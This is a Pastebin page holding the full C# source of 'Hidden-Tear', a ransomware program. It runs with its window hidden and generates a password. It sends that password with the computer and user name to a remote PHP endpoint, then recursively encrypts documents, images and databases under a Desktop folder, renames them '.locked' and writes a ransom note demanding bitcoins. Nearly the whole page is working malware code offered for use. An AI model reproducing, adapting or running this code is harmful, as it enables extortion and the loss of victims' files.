Advertisement
CGC_Codes

Hidden-Tear

Nov 11th, 2018
226
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.30 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Collections.Generic;
  4. using System.ComponentModel;
  5. using System.Data;
  6. using System.Drawing;
  7. using System.Linq;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Windows.Forms;
  11. using System.Security;
  12. using System.Security.Cryptography;
  13. using System.IO;
  14. using System.Net;
  15. using Microsoft.Win32;
  16. using System.Runtime.InteropServices;
  17. using System.Text.RegularExpressions;
  18.  
  19.  
  20. namespace hidden_tear
  21. {
  22.     public partial class Form1 : Form
  23.     {
  24.  
  25.         string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
  26.         string userName = Environment.UserName;
  27.         string computerName = System.Environment.MachineName.ToString();
  28.         string userDir = "C:\\Users\\";
  29.  
  30.  
  31.  
  32.         public Form1()
  33.         {
  34.             InitializeComponent();
  35.         }
  36.  
  37.         private void Form1_Load(object sender, EventArgs e)
  38.         {
  39.             Opacity = 0;
  40.             this.ShowInTaskbar = false;
  41.            
  42.             startAction();
  43.  
  44.         }
  45.  
  46.         private void Form_Shown(object sender, EventArgs e)
  47.         {
  48.             Visible = false;
  49.             Opacity = 100;
  50.         }
  51.  
  52.        
  53.         public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
  54.         {
  55.             byte[] encryptedBytes = null;
  56.             byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  57.             using (MemoryStream ms = new MemoryStream())
  58.             {
  59.                 using (RijndaelManaged AES = new RijndaelManaged())
  60.                 {
  61.                     AES.KeySize = 256;
  62.                     AES.BlockSize = 128;
  63.  
  64.                     var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
  65.                     AES.Key = key.GetBytes(AES.KeySize / 8);
  66.                     AES.IV = key.GetBytes(AES.BlockSize / 8);
  67.  
  68.                     AES.Mode = CipherMode.CBC;
  69.  
  70.                     using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  71.                     {
  72.                         cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
  73.                         cs.Close();
  74.                     }
  75.                     encryptedBytes = ms.ToArray();
  76.                 }
  77.             }
  78.  
  79.             return encryptedBytes;
  80.         }
  81.  
  82.        
  83.         public string CreatePassword(int length)
  84.         {
  85.             const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  86.             StringBuilder res = new StringBuilder();
  87.             Random rnd = new Random();
  88.             while (0 < length--){
  89.                 res.Append(valid[rnd.Next(valid.Length)]);
  90.             }
  91.             return res.ToString();
  92.         }
  93.  
  94.        
  95.         public void SendPassword(string password){
  96.            
  97.             string info = computerName + "-" + userName + " " + password;
  98.             var fullUrl = targetURL + info;
  99.             var conent = new System.Net.WebClient().DownloadString(fullUrl);
  100.         }
  101.  
  102.        
  103.         public void EncryptFile(string file, string password)
  104.         {
  105.  
  106.             byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
  107.             byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
  108.  
  109.            
  110.             passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
  111.  
  112.             byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
  113.  
  114.             File.WriteAllBytes(file, bytesEncrypted);
  115.             System.IO.File.Move(file, file+".locked");
  116.  
  117.            
  118.            
  119.  
  120.         }
  121.  
  122.        
  123.         public void encryptDirectory(string location, string password)
  124.         {
  125.            
  126.            
  127.             var validExtensions = new[]
  128.             {
  129.                 ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
  130.             };
  131.  
  132.             string[] files = Directory.GetFiles(location);
  133.             string[] childDirectories = Directory.GetDirectories(location);
  134.             for (int i = 0; i < files.Length; i++){
  135.                 string extension = Path.GetExtension(files[i]);
  136.                 if (validExtensions.Contains(extension))
  137.                 {
  138.                     EncryptFile(files[i],password);
  139.                 }
  140.             }
  141.             for (int i = 0; i < childDirectories.Length; i++){
  142.                 encryptDirectory(childDirectories[i],password);
  143.             }
  144.            
  145.            
  146.         }
  147.  
  148.         public void startAction()
  149.         {
  150.             string password = CreatePassword(15);
  151.             string path = "\\Desktop\\test";
  152.             string startPath = userDir + userName + path;
  153.             SendPassword(password);
  154.             encryptDirectory(startPath,password);
  155.             messageCreator();
  156.             password = null;
  157.             System.Windows.Forms.Application.Exit();
  158.         }
  159.  
  160.         public void messageCreator()
  161.         {
  162.             string path = "\\Desktop\\test\\READ_IT.txt";
  163.             string fullpath = userDir + userName + path;
  164.             string[] lines = { "Files has been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk." };
  165.             System.IO.File.WriteAllLines(fullpath, lines);
  166.         }
  167.     }
  168. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement